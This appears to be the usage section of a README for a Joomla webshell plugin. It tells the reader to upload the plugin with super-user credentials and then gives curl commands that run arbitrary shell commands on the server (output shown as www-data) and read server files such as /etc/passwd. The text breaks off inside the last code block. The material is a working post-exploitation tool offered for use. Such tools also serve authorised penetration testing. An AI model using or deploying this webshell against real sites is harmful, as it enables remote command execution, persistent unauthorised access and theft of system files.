## Usage

**Requirements**: You need to have the credentials of the super user account of the Joomla instance.

### Step 1: Upload the webshell plugin

Go to "System --> Extensions" page, at http://127.0.0.1:10080/administrator/index.php?option=com_installer&view=install, and click on "_Upload Package File_":

### Step 2.1: Executing commands

You can now execute commands by sending a GET or POST request to http://127.0.0.1:10080/modules/mod_webshell/mod_webshell.php with `action=exec&cmd=id`:

```sh

$ curl -X POST 'http://127.0.0.1:10080/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=id"

{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"}

```

You can also access it by a GET request from a browser:

### Step 2.2: Downloading files

You can also download remote files by sending a GET or POST request to http://127.0.0.1:10080/modules/mod_webshell/mod_webshell.php with `action=download&path=/etc/passwd`:

```sh

$ curl -X POST 'http://127.0.0.1:10080/modules/mod_webshell/mod_webshell.php' --data "action=download&path=/etc/passwd" -o-
